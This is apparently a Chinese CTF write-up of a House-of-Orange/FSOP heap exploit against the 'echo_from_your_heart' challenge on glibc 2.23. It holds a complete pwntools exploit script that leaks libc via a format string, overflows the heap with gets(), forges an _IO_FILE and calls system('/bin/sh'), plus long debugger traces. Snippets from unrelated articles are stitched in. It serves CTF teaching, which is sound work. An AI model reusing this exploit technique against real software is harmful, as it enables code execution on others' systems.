binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
_int_free()
free chunk
__int64 __fastcall main(__int64 a1, char **a2, char **a3) signed int v3; // ebx unsigned int length; // eax void *v5; // rbp v3 = 5; init_AB0(a1, a2, a3); puts("echo from your heart"); __printf_chk(1LL, "lens of your word: "); length = getinpt_AF0(); if ( length > 0x1000 ) puts("too long"); exit(1); v5 = malloc(length); // 申请内存大小为输入的值,不能大于0x1000 __printf_chk(1LL, "word: "); gets(v5); // 此处输入的字符数可以很大,没有长度限制,溢出 __printf_chk(1LL, "echo: "); __printf_chk(1LL, v5); putchar(10); --v3; while ( v3 ); return 0LL; 上面的get(v5)函数存在堆溢出漏洞,考虑以此为入手点,但是此程序保护全开,需要泄漏地址,got表劫持可以考虑 通过利用格式化字符串漏洞泄漏出libc的函数地址之后,构造UnsortedBin之后发现在覆盖topchunk之后再次申请出发sysmalloc()函数的int_free()时发现会触发检测错误 这个检测过不了 assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); 然后出现下面这种情况 pwndbg> Program received signal SIGABRT, Aborted. 0x00007ffff7a42438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── *RAX 0x0 *RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001 *RCX 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ *RDX 0x6 *RDI 0x23a0 *RSI 0x23a0 *R8 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0 *R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 *R10 0x8 *R11 0x246 *R12 0xfa0 *R13 0x5555557560a0 ◂— 0x0 *R14 0x1000 *R15 0x1000 *RBP 0xfd0 *RSP 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] *RIP 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 0x7ffff7a4243e <raise+62> ja raise+96 <raise+96> 0x7ffff7a42440 <raise+64> ret 0x7ffff7a42442 <raise+66> nop word ptr [rax + rax] 0x7ffff7a42448 <raise+72> test ecx, ecx 0x7ffff7a4244a <raise+74> jg raise+43 <raise+43> 0x7ffff7a4242b <raise+43> movsxd rdx, edi 0x7ffff7a4242e <raise+46> mov eax, 0xea 0x7ffff7a42433 <raise+51> movsxd rdi, ecx 0x7ffff7a42436 <raise+54> syscall 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] 01:0008│ 0x7fffffffda30 ◂— 0x20 /* ' ' */ 02:0010│ 0x7fffffffda38 ◂— 0x0 ... ↓ ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a42438 raise+56 f 1 7ffff7a4403a abort+362 f 2 7ffff7a8a2f8 __malloc_assert+104 f 3 7ffff7a8e436 sysmalloc+470 f 4 7ffff7a8f763 _int_malloc+3027 f 5 7ffff7a911d4 malloc+84 f 6 555555554947 f 7 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> b'echo: ' [DEBUG] Received 0xc4 bytes: b'deadbeef0x7ffff7dd37800x7ffff7b043800x7ffff7fdd7000x6(nil)0x555555554b800x5555555549c00x7ffff7a2d840aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' [+] libc_start_mian -> 0x7ffff7a2d750 [+] /lib/x86_64-linux-gnu/libc-2.23.so (id local-ae799c0d270a8152908e5882bde6424c6693f7a3) be choosed. 0x7ffff7a0d000 [+] system_addr -> 0x7ffff7a523a0 [+] str_bin_sh_addr -> 0x7ffff7b99e17 [DEBUG] Received 0x1 bytes: b'\n' [DEBUG] Received 0x13 bytes: b'lens of your word: ' [DEBUG] Sent 0x5 bytes: b'4032\n' [DEBUG] Received 0xe9 bytes: b"echo_from_your_heart: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.\n" 下面是IDA调试结果: libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400: ; CODE XREF: sub_7FFFF7A8E260+7Ej libc_2.23.so:00007FFFF7A8E400 ; sub_7FFFF7A8E260+87j libc_2.23.so:00007FFFF7A8E400 cmp r12, 1Fh # 此处校验请求的大小是否大于MINSIZE libc_2.23.so:00007FFFF7A8E404 jbe short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E406 test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 libc_2.23.so:00007FFFF7A8E408 jz short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E40A lea rax, [r15-1] # r15存储page大小 libc_2.23.so:00007FFFF7A8E40E test rdx, rax # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐 # 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐 libc_2.23.so:00007FFFF7A8E411 jz loc_7FFFF7A8E2ED # 此处如果跳转成功则可以继续执行 libc_2.23.so:00007FFFF7A8E417 libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417: ; CODE XREF: sub_7FFFF7A8E260+1A4j libc_2.23.so:00007FFFF7A8E417 ; sub_7FFFF7A8E260+1A8j libc_2.23.so:00007FFFF7A8E417 lea rcx, aSysmalloc ; "sysmalloc" # 此处开始获取告警字符串存储的位置 libc_2.23.so:00007FFFF7A8E41E lea rsi, aMalloc_c ; "malloc.c" libc_2.23.so:00007FFFF7A8E425 lea rdi, aOld_topInitial ; "(old_top == initial_top (av) && old_siz"... libc_2.23.so:00007FFFF7A8E42C mov edx, 961h libc_2.23.so:00007FFFF7A8E431 call near ptr unk_7FFFF7A8A290 # 此处触发告警信息并且导致程序结束 libc_2.23.so:00007FFFF7A8E436 db 2Eh libc_2.23.so:00007FFFF7A8E436 nop word ptr [rax+rax+00000000h] libc_2.23.so:00007FFFF7A8E440 根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用 下面扩展一个GDB的调试结果,同样也是锁定报错的位置 pwndbg> 0x00007ffff7a8e40e 2398 in malloc.c *RAX 0xfff RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60) R15 0x1000 ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE 0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1] ► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐 0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141> 0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20] ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a8e40e sysmalloc+430 f 1 7ffff7a8f763 _int_malloc+3027 f 2 7ffff7a911d4 malloc+84 f 3 555555554947 f 4 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk 起始地址 剩余大小 至此,再次附上sysmalloc中的_int_free的基本条件: assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件 利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, 